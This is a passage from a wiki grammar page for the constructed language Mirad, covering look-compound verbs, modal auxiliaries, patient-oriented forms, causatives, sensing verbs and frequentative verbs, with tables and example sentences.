::* '''zoyteaxer'''....''to look back''
::* '''zeyteaxer'''....''to look across''
::* '''ziteaxer'''....''to look to the right''
::* '''zuteaxer'''....''to look to the left''
::* '''zuiteaxer'''....''to look right and left''
::* '''zyateaxer'''....''to look all over, survey''
::* '''zyeteaxer'''....''to look through, peruse''
::* '''zyoteaxer'''....''to squint''
::* '''yobteaxer'''....''to look down''
::* '''yaobteaxer'''....''to look up and down''
::* '''zaoteaxer'''....''to look back and forth''
::* '''yabteaxer'''....''to look up''
::* '''yubketeaxer'''....''to pry''
::* '''uzteaxer'''....''to look indirectly at''
::* '''oyebteaxer'''....''to look out''
::* '''ojteaxer'''....''to peer into the future''
::* '''marteaxer'''....''to star-gaze''
::* '''tabteaxer'''....''to autopsy''
&lt;/div&gt;

== Modal Verbs ==
: Modal verbs are auxiliary verbs that are usually followed by the main verb in the infinitive or a subjunctive dependent clause and have to do with wanting, permitting, prohibiting, being able, being unable, needing, being obliged to do something, etc. 
==== Principal Modal Auxiliary Verbs ====
[[File:Ladies Should Listen poster.jpg|thumb|]]
: Mirad has a set of modal auxiliary verbs that can be followed by a main verb in the infinitive mode.  This is very much like English modal auxiliary verbs in the following examples:
::* ''I &lt;u&gt;want&lt;/u&gt; to go.''
::* ''You &lt;u&gt;must&lt;/u&gt; wait.''
::* ''You &lt;u&gt;may&lt;/u&gt; stay.''
::* ''I &lt;u&gt;dare&lt;/u&gt; say.''

: Here is a chart showing the main modal auxiliary verbs in Mirad:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Principle Modal Auxiliary Verbs
|-
! Type !! Positive !! Negative
|-
! Permission
| '''afer'''....''may''&lt;br&gt;'''ayfer'''....''might'' || '''ofer'''....''may not''&lt;br&gt;'''oyfer'''....''might not''
|-
! Ability
| '''yafer'''....''can''||'''yofer'''....''cannot''
|-
! Need 
| '''efer'''....''need to'' ||
|-
! Obligation
| '''yefer'''....''must''&lt;br&gt;'''yeyfer'''....''should'' ||'''oyefer'''....''must not''&lt;br&gt;'''oyeyfer'''....''should not''
|-
! Desire 
| '''fer'''....''want to'' ||
|-
! Enjoyment 
| '''ifer'''....''love to, enjoy''&lt;br&gt;'''iyfer'''....''like to'' || '''ufer'''....''hate to''&lt;br&gt;'''uyfer'''....''dislike to''
|-
! Courage
|'''yifer'''....''dare to'' || '''yufer'''....''be afraid to, fear''
|-
! Liberty
| '''yiver'''....''have a right to, be free to'' ||  '''yuver'''....''be bound to, be supposed to''
|-
! Expectation
| '''yaker'''....''expect to'' || '''yoker'''....''be surprised to''
|-
! Conation
| '''yeker'''....''try to'' || 
|-
! Difficulty
| '''yiker'''....''to find it hard to'' || '''yuker'''....''to find it easy to''
|}

: These modal auxiliary verbs are often followed by a verbal infinitive, as in the following examples:
::* '''At fe &lt;u&gt;ter&lt;/u&gt;.'''....''I want &lt;u&gt;to know&lt;/u&gt;.''
::* '''Wit yifa &lt;u&gt;yeper&lt;/u&gt;.'''....''He dared &lt;u&gt;to enter&lt;/u&gt;.''
::* '''Yat yafe &lt;u&gt;teater&lt;/u&gt; yet.'''....''We can &lt;u&gt;see&lt;/u&gt; you.''
::* '''Duven et yaka &lt;u&gt;aker&lt;/u&gt;?'''....''Did you expect &lt;u&gt;to win&lt;/u&gt;?''
::* '''Diwe yeku &lt;u&gt;xer&lt;/u&gt; ga fi.'''....''Please try &lt;u&gt;to do&lt;/u&gt; better.''

: If the modal verb is in the hypothetical aspect (conditional), then the sense is somewhat mitigated, as in these examples:

:* '''At &lt;u&gt;fe&lt;/u&gt; per.'''....''I &lt;u&gt;want&lt;/u&gt; to go.''
:* '''At &lt;u&gt;fu&lt;/u&gt; per.'''....''I &lt;u&gt;would&lt;/u&gt; like to go.''

:* '''Et &lt;u&gt;yafe&lt;/u&gt; aker.'''....''You &lt;u&gt;can&lt;/u&gt; win.''
:* '''Et &lt;u&gt;yafu&lt;/u&gt; aker.'''....''You &lt;u&gt;could&lt;/u&gt; win.''

:* '''Yet &lt;u&gt;yefe&lt;/u&gt; iper.'''....''You &lt;u&gt;must&lt;/u&gt; leave.''
:* '''Yet &lt;u&gt;yefu&lt;/u&gt; iper.'''....''You &lt;u&gt;ought&lt;/u&gt; to leave.''

: Post-y-gliding the stem vowel of the modal verb also reduces the strength, for example:

:* '''At &lt;u&gt;ife&lt;/u&gt; et.''' ....''I &lt;u&gt;love&lt;/u&gt; you.''
:* '''At &lt;u&gt;iyfe&lt;/u&gt; et.''' ....''I &lt;u&gt;like&lt;/u&gt; you.''

:* '''Et &lt;u&gt;yefe&lt;/u&gt; iper.'''....''You &lt;u&gt;must&lt;/u&gt; leave.''
:* '''Et &lt;u&gt;yeyfe&lt;/u&gt; iper.'''....''You &lt;u&gt;should&lt;/u&gt; leave.''

:* '''Iyt &lt;u&gt;yafe&lt;/u&gt; aker.'''....''She &lt;u&gt;can&lt;/u&gt; win.''
:* '''Iyt &lt;u&gt;yayfe&lt;/u&gt; aker.'''....''She &lt;u&gt;might&lt;/u&gt; win.''

:* '''At &lt;u&gt;ufa&lt;/u&gt; uda tuz.'''....''I &lt;u&gt;hated&lt;/u&gt; that art.''
:* '''At &lt;u&gt;uyfa&lt;/u&gt; uda tuz.'''....''I &lt;u&gt;disliked&lt;/u&gt; that art.''

: The use of '''l''' and '''r''' intensify the meaning of the auxiliary verbs, eg:

:* '''Et &lt;u&gt;yuve&lt;/u&gt; puer jwe.'''....''You &lt;u&gt;are supposed&lt;/u&gt; to arrive on time.''
:* '''Et &lt;u&gt;yuvle&lt;/u&gt; tepzexer.'''....''You &lt;u&gt;have&lt;/u&gt; to pay attention.''
:* '''Et &lt;u&gt;yuvre&lt;/u&gt; buer nas.'''....''You &lt;u&gt;absolutely must&lt;/u&gt; give money.''

:* '''At &lt;u&gt;yeka&lt;/u&gt; ser yeva.'''....''I &lt;u&gt;tried&lt;/u&gt; to be fair.''
:* '''At &lt;u&gt;yekla&lt;/u&gt; ujber jwa.'''....''I &lt;u&gt;strove&lt;/u&gt; to finish early.''
:* '''At &lt;u&gt;yekra&lt;/u&gt; nixer ga nas.'''....''I &lt;u&gt;struggled (= worked hard))&lt;/u&gt; to earn more money.''

:* '''Iyt &lt;u&gt;ife&lt;/u&gt; eker zyun.'''....''She &lt;u&gt;loves&lt;/u&gt; to play ball.''
:* '''Iyt &lt;u&gt;ifla&lt;/u&gt; teater et.'''....''She &lt;u&gt;was delighted&lt;/u&gt; to see you.''
:* '''Iyt &lt;u&gt;ifre&lt;/u&gt; teaper him.'''....''She &lt;u&gt;adores&lt;/u&gt; visiting here.''

: Here are some examples showing how these modal verbs are used as auxiliaries:

::* '''Et &lt;u&gt;afe&lt;/u&gt; oyeper ay ifeker.'''....''You &lt;u&gt;may&lt;/u&gt; go out and play.''
::* '''Yat &lt;u&gt;efa&lt;/u&gt; tujer.'''....''We &lt;u&gt;needed&lt;/u&gt; to sleep.''
::* '''Ot &lt;u&gt;ofe&lt;/u&gt; mavier him.'''....''One &lt;u&gt;is prohibited&lt;/u&gt; to smoke here.''
::* '''Mavier him &lt;u&gt;ofwe&lt;/u&gt;.'''....''Smoking here is prohibited.''
::* '''At &lt;u&gt;ife&lt;/u&gt; dyeer.'''....''I &lt;u&gt;love&lt;/u&gt; to read.''
::* '''Duven et &lt;u&gt;fe&lt;/u&gt; yeper?'''....''Do you &lt;u&gt;want&lt;/u&gt; to come in?''
::* '''At &lt;u&gt;fu&lt;/u&gt; teaper et edjub.'''....''I &lt;u&gt;would like&lt;/u&gt; to visit you some day.''
::* '''It &lt;u&gt;ufaye hyaj&lt;/u&gt; teaxwer.'''....''He &lt;u&gt;has always hated&lt;/u&gt; being looked at.''
::* '''Duven et &lt;u&gt;iyfe&lt;/u&gt; per tilami?'''....''Do you &lt;u&gt;like&lt;/u&gt; going to bars?''
::* '''At &lt;u&gt;uyfe&lt;/u&gt; tijer gra jwa.'''....''I &lt;u&gt;dislike&lt;/u&gt; waking up too early.''
::* '''Et &lt;u&gt;yafe&lt;/u&gt; xer hyehos et fu.'''....''You &lt;u&gt;can&lt;/u&gt; do whatever you like.''
::* '''Et &lt;u&gt;yefer&lt;/u&gt; xer ad vyaas.'''....''You &lt;u&gt;must&lt;/u&gt; do the right thing.''
::* '''Et &lt;u&gt;yeyfe&lt;/u&gt; voy daler huuyen azay.'''....''You &lt;u&gt;should&lt;/u&gt; not talk so loud.''
::* '''At &lt;u&gt;yeyfa&lt;/u&gt; ter ga fi.'''....''I &lt;u&gt;should have&lt;/u&gt; known better.''
::* '''At &lt;u&gt;voy yifu&lt;/u&gt; der hyea fuas.'''....''I &lt;u&gt;would not dare&lt;/u&gt; say anything bad.''
::* '''&lt;u&gt;Von yufu&lt;/u&gt; der hos et tesde.'''....''&lt;u&gt;Don't be afraid&lt;/u&gt; to say what you mean.''
::* '''Et &lt;u&gt;yive&lt;/u&gt; dier yevanavdut.'''....''You &lt;u&gt;have a right&lt;/u&gt; to ask for a lawyer.''
::* '''Yat &lt;u&gt;voy yuvle&lt;/u&gt; kyoejer.'''....''We &lt;u&gt;are not bound&lt;/u&gt; to stick around.''

=== Subject-oriented vs. Patient-oriented Modal Verb Forms ===

:: All of these modal verbs can be passive, in which case they are &quot;patient-oriented&quot; rather than &quot;subject-oriented.&quot; The participial adjective '''yafa'''....''able'' is subject-oriented and refers to a person, whereas the passived adjective '''yafwa'''....''possible'' is patient-oriented and refers to a thing or event. Here is a chart of the principal modal verbs and corresponding participial adjectives with this subject/object-orientation distinction shown:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Subject-oriented vs. Patient-oriented Modal Verb Forms
|-
! Modal Type || Subject-oriented !! Subject-oriented !! Patient-oriented !! Patient-oriented
|-
! !! Verb !! Adjective !! Verb !! Adjective
|-
!row=1| Permission
| '''afer'''&lt;br&gt;''may'' || '''afa'''&lt;br&gt;''allowed'' || '''afwer'''&lt;br&gt;''be permitted'' || '''afwa'''&lt;br&gt;''permissable''
|-
!row=1| Necessity 
| '''efer'''&lt;br&gt;''need'' || '''efa'''&lt;br&gt;''needful'' || '''efwer'''&lt;br&gt;''be necessary'' || '''efwa'''&lt;br&gt;''necessary, required''
|-
!row=1| Prohibition
| '''ofer'''&lt;br&gt;''be unallowed'' || '''ofa'''&lt;br&gt;''prohibited'' || '''ofwer'''&lt;br&gt;''be prohibited'' || '''ofwa'''&lt;br&gt;''banned''
|-
!row=1| Possibility
| '''yafer'''&lt;br&gt;''be able'' || '''yafa'''&lt;br&gt;''able'' || '''yafwer'''&lt;br&gt;''be possible'' || '''yafwa'''&lt;br&gt;''possible''
|-
!row=1| Obligation
| '''yefer'''&lt;br&gt;''must'' || '''yefa'''&lt;br&gt;''obliged'' || '''yefwer'''&lt;br&gt;''be obligatory'' || '''yefwa'''&lt;br&gt;''obligatory''
|-
!row=1| Duty 
| '''yeyfer'''&lt;br&gt;''should'' || '''yeyfa'''&lt;br&gt;''supposed, duty-bound'' || '''yeyfwer'''&lt;br&gt;''be supposed'' || '''yeyfwa'''&lt;br&gt;''due''
|-
!row=1| Impossibility
| '''yofer'''&lt;br&gt;''be unable'' || '''yofa'''&lt;br&gt;''unable'' || '''yofwer'''&lt;br&gt;''be impossible'' || '''yofwa'''&lt;br&gt;''impossible''
|-
!row=1| Volition
| '''fer'''&lt;br&gt;''want'' || '''fa'''&lt;br&gt;''desirous'' || '''fwer'''&lt;br&gt;''be desirable'' || '''fwa'''&lt;br&gt;''desirable, wanted''
|-
!row=1| Love 
| '''ifer'''&lt;br&gt;''love''&lt;br&gt;'''iyfer'''&lt;br&gt;''like'' || '''ifa'''&lt;br&gt;''enamored''&lt;br&gt;'''iyfa'''&lt;br&gt;''fond'' || '''ifwer'''&lt;br&gt;''be loved''&lt;br&gt;'''iyfwer'''&lt;br&gt;''be liked'' || '''ifwa'''&lt;br&gt;''lovable''&lt;br&gt;'''iyfwa'''&lt;br&gt;''likeable''
|-
!row=1| Hate 
| '''ufer'''&lt;br&gt;''hate''&lt;br&gt;'''uyfer'''&lt;br&gt;''dislike'' || '''ufa'''&lt;br&gt;''averse''&lt;br&gt;'''uyfa'''&lt;br&gt;''displeased''|| '''ufwer'''&lt;br&gt;''be hated''&lt;br&gt;'''uyfwer'''&lt;br&gt;''be disliked'' || '''ufwa'''&lt;br&gt;''odious''&lt;br&gt;''unliked''
|-
!row=1| Courage 
| '''yifer'''&lt;br&gt;''dare'' || '''yifa'''&lt;br&gt;''daring, brave'' || '''yifwer'''&lt;br&gt;''be safe'' || '''yifwa'''&lt;br&gt;''safe''
|-
!row=1| Fear 
| '''yufer'''&lt;br&gt;''be afraid'' || '''yufa'''&lt;br&gt;''afraid'' || '''yufwer'''&lt;br&gt;''be a danger'' || '''yufwa'''&lt;br&gt;''frightening''
|-
!row=1| Joy 
| '''iver'''&lt;br&gt;''enjoy'' || '''iva'''&lt;br&gt;''glad'' || '''ivwer'''&lt;br&gt;''be a joy'' || '''ivwa'''&lt;br&gt;''enjoyable''
|-
!row=1| Sorrow
| '''uver'''&lt;br&gt;''be sorry'' || '''uva'''&lt;br&gt;''sorry, sad'' || '''uvwer'''&lt;br&gt;''be a shame'' || '''uvwa'''&lt;br&gt;''regrettable''
|}

: Examples of subject-oriented forms:

::* '''At se &lt;u&gt;yafa&lt;/u&gt; xer hes.'''....''I &lt;u&gt;am capable of&lt;/u&gt; doing anything.''
::* '''Et &lt;u&gt;ofe&lt;/u&gt; teater hia dyezun.'''....''You &lt;u&gt;are not allowed/are prohibited&lt;/u&gt; to see this film.''
::* '''Duven at &lt;u&gt;afe&lt;/u&gt; per hum?'''....''Am I &lt;u&gt;allowed&lt;/u&gt; to go there?''
::* '''Yat &lt;u&gt;fu&lt;/u&gt; ter eta dyun.'''....''We &lt;u&gt;would like&lt;/u&gt; to know your name.''
::* '''Piti &lt;u&gt;ufe&lt;/u&gt; beser be mel.'''....''Fish &lt;u&gt;hate&lt;/u&gt; to remain on dry land.''
::* '''At ajay &lt;u&gt;ifa&lt;/u&gt; dazer.'''....''I once &lt;u&gt;loved&lt;/u&gt; to dance.''
::* '''Et se iva, at &lt;u&gt;yife&lt;/u&gt; der.'''....''You are beautiful, I &lt;u&gt;dare&lt;/u&gt; say.''
::* '''At &lt;u&gt;yeyfa&lt;/u&gt; xer has ga ig.'''....''I &lt;u&gt;should&lt;/u&gt; have done it sooner.''
::* '''Von &lt;u&gt;yufu&lt;/u&gt;; At yupeye.'''....''&lt;u&gt;Fear&lt;/u&gt; not; I am coming.''
::* '''Et &lt;u&gt;yefe&lt;/u&gt; puer ja eymaj.'''....''You &lt;u&gt;must&lt;/u&gt; arrive before noon.''
::* '''Yet &lt;u&gt;yofe&lt;/u&gt; daler je ha dezun.'''....''You people &lt;u&gt;must not&lt;/u&gt; talk during the performance.''
::* '''Yat &lt;u&gt;yeyfe&lt;/u&gt; (= se &lt;u&gt;yeyfa&lt;/u&gt;) aker.'''....''We should (= are &lt;u&gt;bound/supposed/due&lt;/u&gt;) to win.''
::* '''At &lt;u&gt;ive&lt;/u&gt; teater et bakser.'''....''I&lt;u&gt;'m glad&lt;/u&gt; to see you get better.''
::* '''Su &lt;u&gt;iva&lt;/u&gt;.'''....''Be &lt;u&gt;happy&lt;/u&gt;.''
::* '''At &lt;u&gt;uvu (= su uva)&lt;/u&gt; teater et iper.'''....''I &lt;u&gt;would be sad&lt;/u&gt; to see you leave.''

: Examples of patient-oriented forms:

::* '''&lt;u&gt;Afwe&lt;/u&gt; (= se afwa) mavier him.'''....''&lt;u&gt;It is permissible&lt;/u&gt; to smoke here.''
::* '''&lt;u&gt;Ofwe&lt;/u&gt; (= se ofwa*) puxer fyumul him.'''....''&lt;u&gt;It is prohibited&lt;/u&gt; to throw litter here.''
::* '''&lt;u&gt;Fwe&lt;/u&gt; (= se fwa) van yet dolu.'''....''&lt;u&gt;It is desired&lt;/u&gt; that you stop talking.''
::* '''&lt;u&gt;Voy yafwe&lt;/u&gt; beser him gajob.'''....''&lt;u&gt;It is not possible&lt;/u&gt; to remain here any longer.''
::* '''&lt;u&gt;Yofwa&lt;/u&gt; av at ivteuder.'''....''&lt;u&gt;It was not possible&lt;/u&gt; for me to laugh.''
::* '''&lt;u&gt;Yefwe&lt;/u&gt; van et piu ig.'''....''&lt;u&gt;It is essential&lt;/u&gt; that you leave quickly.''
::* '''He &lt;u&gt;yeyfwe&lt;/u&gt; ober ata tyoyafi?'''....''Is &lt;u&gt;it obligatory&lt;/u&gt; to remove my shoes?''
::* '''Ga yux &lt;u&gt;efwo&lt;/u&gt;.'''....''More help &lt;u&gt;will be needed&lt;/u&gt;.''
::* '''Yuxren se &lt;u&gt;ufwa&lt;/u&gt; xetyen.'''....''Slavery is an &lt;u&gt;odious&lt;/u&gt; practice.''
::* '''&lt;u&gt;Uvwe&lt;/u&gt; van wit oka.'''....''&lt;u&gt;It's a shame&lt;/u&gt; that he lost.''

:: *&lt;small&gt;'''lofwa''' is used for ''unwanted'' for disambiguation purposes.&lt;/small&gt;

=== Deriving Causatives from Modal Stems ===

: Various causative verbs can be formed from modal stems, as shown in the chart below:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Deriving Causatives from Modal Stems
|-
! Subject-oriented !! Patient-oriented
|-
| '''afxer'''....''allow'' (someone to do sthg.) || '''afwaxer'''....''permit'' (something to be done)
|-
| '''efxer'''....''require'' || '''efwaxer'''....''necessitate''
|-
| '''ofxer'''....''prohibit'' || '''ofwaxer'''....''prohibit''
|-
| '''yafxer'''....''enable'' || '''yafwaxer'''....''make possible''
|-
| '''yefxer'''....''oblige'' || '''yefwaxer'''....''make obligatory''
|-
| '''yofxer'''....''cripple'' || '''yofwaxer'''....''disable''
|-
| '''yifxer'''....''embolden'' || '''yifwaxer'''....''make safe''
|-
| '''yufxer'''....''intimidate'' || '''yufwaxer'''....''make frightening''
|-
| '''ifxer'''....''please'' || '''ifwaxer'''....''make pleasant''
|}

=== Creating Modal Verbs and Adjectives with Modal Stem Suffixes ===

: Verb stems can be suffixed with modal participles to produce related modal verbs and adjectives.  The first chart shows the modal participles themselves that can be suffixed to verb stems.  Subject-oriented forms refer only to people, while patient-oriented forms (ending in '''-wa''') refer only to things.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Modal Suffixes
|-
! Subject-oriented !! Patient-oriented
|-
| '''-yafa'''....''able to X, -able'' || '''-yafwa'''....''possible to X''
|-
| '''-yofa'''....''unable to X'' || '''-yofwa'''....''impossible to X''
|-
| '''-ifa'''....''fond of Xing, Xophile'' || '''-ifwa'''....''enjoyable to X''
|-
| '''-ufa'''....''averse to Xing, Xophobic'' ||'''-ufwa'''....''unenjoyable to X''
|-
| '''-yika'''....''hard of Xing'' || '''-yikwa'''....''hard to X'' 
|-
| '''-yuka'''....''comfortable/easy Xing'' || '''-yukwa'''....''easy to X''
|-
| '''-yaka'''....''expecting to X'' || '''yakwa'''....''expected/likely to X''
|-
| '''-efa'''....''in need of Xing'' || '''-efwa'''....''necessary to X''
|-
| '''-yefa'''....''obliged to X'' || '''-yefwa'''....''obligatory/due to X''
|-
| '''-yufa'''....''afraid of Xing'' || '''-yufwa'''....''frightening to X''
|}

: This table shows some of these modal suffixes applied to actual verb and noun stems:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Modals and Orientation
|-
! Orientation !! Positive Adjective !! Positive Verb !! Negative Adjective !! Negative Verb
|-
!row=1| '''Subject''' 
| '''teatyafa'''&lt;br&gt;''able to see, sighted'' || '''teatyafer'''&lt;br&gt;''be able to see'' || '''teatyofa'''&lt;br&gt;''blind'' || '''teatyofer'''&lt;br&gt;''be blind''
|-
!row=1| '''Patient''' 
| '''teatyafwa'''&lt;br&gt;''visible'' || '''teatyafwer'''&lt;br&gt;''be visible'' || '''teatyofwa'''&lt;br&gt;''invisible'' || '''teatyofwer'''&lt;br&gt;''be invisible''
|-
!row=1| '''Subject''' 
| '''teetyafa'''&lt;br&gt;''able to hear, hearing'' || '''teetyafer'''&lt;br&gt;''be able to hear'' || '''teetyofa'''&lt;br&gt;''deaf'' || '''teatyofer'''&lt;br&gt;''be deaf''
|-
!row=1| '''Patient''' 
| '''teetyafwa'''&lt;br&gt;''audible'' || '''teetyafwer'''&lt;br&gt;''be audible'' || '''teeyofwa'''&lt;br&gt;''inaudible'' || '''teeyofwer'''&lt;br&gt;''be inaudiable''
|-
!row=1| '''Subject''' 
| '''dalyafa'''&lt;br&gt;''able to speak'' || '''dalyafer'''&lt;br&gt;''be able to speak'' || '''dalyofa'''&lt;br&gt;''mute, dumb'' || '''dalyofer'''&lt;br&gt;''be mute, dumb''
|-
!row=1| '''Subject''' 
| '''doabifa'''&lt;br&gt;''patriotic'' || '''doabifer'''&lt;br&gt;''be patriotic'' || '''doabufa'''&lt;br&gt;''rebellious'' || '''doabufer'''&lt;br&gt;''rebel'' 
|-
!row=1| '''Subject''' 
| '''tosyafa'''&lt;br&gt;''sensitive'' || '''tosyafer'''&lt;br&gt;''be able to feel'' || '''tosyofa'''&lt;br&gt;''insensitive'' || '''tosyofer'''&lt;br&gt;''be numbed''
|-
!row=1| '''Patient''' 
| '''tayotyafwa'''&lt;br&gt;''palpable'' || '''tayotyafwer'''&lt;br&gt;''be palpable'' || '''tayotyofwa'''&lt;br&gt;''numb'' || '''tayotyofwer'''&lt;br&gt;''be impalbable, numb''
|-
!row=1| '''Patient''' 
| '''testyukwa'''&lt;br&gt;''easy to understand'' || '''testyukwaxer'''&lt;br&gt;''make easily understood'' || '''testyikwa'''&lt;br&gt;''hard to understand'' || '''testyikwaxer'''&lt;br&gt;''make hard to understand''
|-
!row=1| '''Subject'''
| '''tudyaka'''&lt;br&gt;''pregnant, expecting'' || '''tudyaker'''&lt;br&gt;''be expecting''|| ||
|-
!row=1| '''Patient'''
|'''mamilyakwa'''&lt;br&gt;''likely to rain'' || '''mamilyakwer'''&lt;br&gt;''to be expected to rain''|| '''mamilyokwa'''&lt;br&gt;''unlikely to rain''|| '''mamilyokwer'''&lt;br&gt;''to be unlikely to rain''
|-
!row=1| '''Subject''' 
| '''tilefa'''&lt;br&gt;''thirsty'' || '''tilefer'''&lt;br&gt;''be thirsty'' || ||
|-
!row=1| '''Subject''' 
| '''telefa'''&lt;br&gt;''hungry'' || '''telefer'''&lt;br&gt;''be hungry'' || ||
|-
!row=1| '''Patient''' 
| '''tejefwa'''&lt;br&gt;''vital'' || '''tejefwer'''&lt;br&gt;''be vital'' || ||
|-
!row=1| '''Subject''' 
| '''tujefa'''&lt;br&gt;''sleepy'' || '''tujefer'''&lt;br&gt;''be sleepy'' || ||
|-
!row=1| '''Subject''' 
| '''nasefa'''&lt;br&gt;''poor, needy'' || '''nasefer'''&lt;br&gt;''be needy'' || ||
|-
!row=1| '''Subject''' 
| '''dudyefa'''&lt;br&gt;''accountable, responsible'' || '''dudyefer'''&lt;br&gt;''be responsible'' || ||
|-
!row=1| '''Patient'''
| '''texiyefwa'''&lt;br&gt;''noteworthy'' || '''texiyefwer'''&lt;br&gt;''be noteworthy'' || ||
|}

== Sensing Verbs ==
: Verbs involving the senses, such as sight or hearing, follow a similar pattern, as the following chart shows:

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Sensing Verbs
|- valign=top
! TYPE !! '''teab'''....''eye''&lt;br&gt;'''teata'''....''visual'' !! '''teeb'''....''ear''&lt;br&gt;'''teeta'''....''acoustic'' !! '''teib'''....''nose''&lt;br&gt;'''teita'''....''olfactory'' !! '''teub'''....''mouth''&lt;br&gt;'''teuta'''....''gustatory'' !! '''tayob'''....''skin''&lt;br&gt;'''tayota'''....''tactile''
|- valign=top
!row=1| Receptive&lt;br&gt;Active 
| '''teater'''&lt;br&gt;''see'' || '''teeter'''&lt;br&gt;''hear'' || '''teiter'''&lt;br&gt;''smell'' || '''teuter'''&lt;br&gt;''taste'' || '''tayoter'''&lt;br&gt;''feel''
|-  valign=top
!row=1| Receptive&lt;br&gt;Passive 
| '''teatwer'''&lt;br&gt;''be seen'' || '''teetwer'''&lt;br&gt;''be heard'' || '''teitwer'''&lt;br&gt;''be smelled'' || '''teutwer'''&lt;br&gt;''be tasted'' || '''tayotwer'''&lt;br&gt;''be felt''
|-  valign=top
!row=1| Stative  
| '''teaser'''&lt;br&gt;''seem'' || '''teeser'''&lt;br&gt;''sound'' || '''teiser'''&lt;br&gt;''smell'' || '''teuser'''&lt;br&gt;''taste'' || '''tayoser'''&lt;br&gt;''feel'' 
|-  valign=top
!row=1| Dynamic&lt;br&gt;Active 
| '''teaxer'''&lt;br&gt;''look at'' || '''teexer'''&lt;br&gt;''listen'' || '''teixer'''&lt;br&gt;''sniff'' || '''teuxer'''&lt;br&gt;''taste'' || '''tayoxer'''&lt;br&gt;''touch'' 
|-  valign=top
!row=1| Dynamic&lt;br&gt;Passive 
| '''teaxwer'''&lt;br&gt;''be looked at'' || '''teexwer'''&lt;br&gt;''be listened to'' || '''teixwer'''&lt;br&gt;''be sniffed'' || '''teuxwer'''&lt;br&gt;''be tasted'' || '''tayoxwer'''&lt;br&gt;''be touched''
|-  valign=top
!row=1| Causative&lt;br&gt;Active
| '''teatuer'''&lt;br&gt;''show'' || '''teetuer'''&lt;br&gt;''make hear'' || '''teixuer'''&lt;br&gt;''make smell'' || '''teuxuer'''&lt;br&gt;''offer a taste'' || '''tayoxuer'''&lt;br&gt;''make feel''
|-  valign=top
!row=1| Causative&lt;br&gt;Passive
| '''teatuwer'''&lt;br&gt;''be shown'' || '''teetuwer'''&lt;br&gt;''be made to hear'' || '''teituwer'''&lt;br&gt;''be made to smell'' || '''teutuwer'''&lt;br&gt;''be given a taste'' || '''tayotuwer'''&lt;br&gt;''be made to feel''
|-  valign=top
!row=1| Inchoative&lt;br&gt;Active 
| '''teatier'''&lt;br&gt;''perceive,''&lt;br&gt;''catch sight of'' || '''teetier'''&lt;br&gt;''catch the&lt;br&gt;sound of'' || '''teitier'''&lt;br&gt;''get a whiff of'' || '''teutuer'''&lt;br&gt;''get a taste of'' || '''tayotier'''&lt;br&gt;''get the sensation of'' 
|-  valign=top
!row=1| Inchoative&lt;br&gt;Passive 
| '''teatiwer'''&lt;br&gt;''be perceived'' || '''teetiwer'''&lt;br&gt;''be heard'' || '''teitiwer'''&lt;br&gt;''be whiffed'' || '''teutiwer'''&lt;br&gt;''be tasted'' || '''tayotiwer'''&lt;br&gt;''be felt'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Stative 
| '''teatyofer'''&lt;br&gt;''be blind'' || '''teetyofer'''&lt;br&gt;''be deaf'' || '''teityofer'''&lt;br&gt;''be unable to smell'' || '''teityofer'''&lt;br&gt;''be unable to taste'' || '''tayotyofer'''&lt;br&gt;''be insensitive'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Stative 
| '''teatyofwer'''&lt;br&gt;''be invisible'' || '''teetyofwer'''&lt;br&gt;''be inaudible'' || '''teityofwer'''&lt;br&gt;''be undetectable&lt;br&gt;odorwise'' || '''teityofwer'''&lt;br&gt;''be insipid'' || '''tayotyofwer'''&lt;br&gt;''be undetectable&lt;br&gt;by touch'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Causative 
| '''teatyofxer'''&lt;br&gt;''blind'' || '''teetyofxer'''&lt;br&gt;''deafen'' || '''teityofxer'''&lt;br&gt;''desensitize&lt;br&gt;to smell'' || '''teutyofxer'''&lt;br&gt;''desensitize to&lt;br&gt;taste'' || '''tayotyofxer'''&lt;br&gt;''desensitize'' 
|-  valign=top
!row=1| Negative-Modal&lt;br&gt;Patient-oriented&lt;br&gt;Causative 
| '''teatyofwaxer'''&lt;br&gt;''make invisible'' || '''teetyofwaxer'''&lt;br&gt;''make inaudible'' || '''teityofwaxer'''&lt;br&gt;''make odorless'' || '''teutyofwaxer'''&lt;br&gt;''render tasteless'' || '''tayotyofwaxer'''&lt;br&gt;''numb'' 
|}
: Examples of usage:

:* '''At &lt;u&gt;teatyofxwa&lt;/u&gt; bey ha mani.'''....''I &lt;u&gt;was blinded&lt;/u&gt; by the lights.''
:* '''Ha xeus sa &lt;u&gt;teetyofxyea&lt;/u&gt;.'''....''The noise was &lt;u&gt;deafening&lt;/u&gt;.''
:* '''Hia tit se gla &lt;u&gt;teatiyafa&lt;/u&gt;.'''....''This pupil is very &lt;u&gt;perceptive&lt;/u&gt;.''
:* '''Hua bekil se &lt;u&gt;teityofwa&lt;/u&gt;.'''....''That medicine is &lt;u&gt;odorless&lt;/u&gt; (impossible to smell).''
:* '''&lt;u&gt;Teatyofwaxu&lt;/u&gt; ha vyuni.'''....''&lt;u&gt;Make&lt;/u&gt; the spots &lt;u&gt;invisible&lt;/u&gt;.''
:* '''Ha magmemyaz yonpyexlun &lt;u&gt;tayotyafwa&lt;/u&gt; zya ha mir.'''....''The volcano eruption &lt;u&gt;could be felt&lt;/u&gt; throughout the world.''

== Frequentative Verbs ==
:Frequentative verbs or repetitive action verbs can be formed with the prefix '''je-'''.  This prefix gives the verb the meaning ''to keep on doing something''.

::{| class=&quot;wikitable&quot; style=&quot;background: lightyellow;{{Text default color}};font-size:smaller;&quot;
|+ Frequentative Verbs
|-
! Normal !! Frequentative
|-
| '''teaxer'''....''to look''||'''&lt;u&gt;je&lt;/u&gt;teaxer'''....''to watch''
|-
| '''bexer'''....''to hold''||'''&lt;u&gt;je&lt;/u&gt;bexer'''....''to conserve''
|-
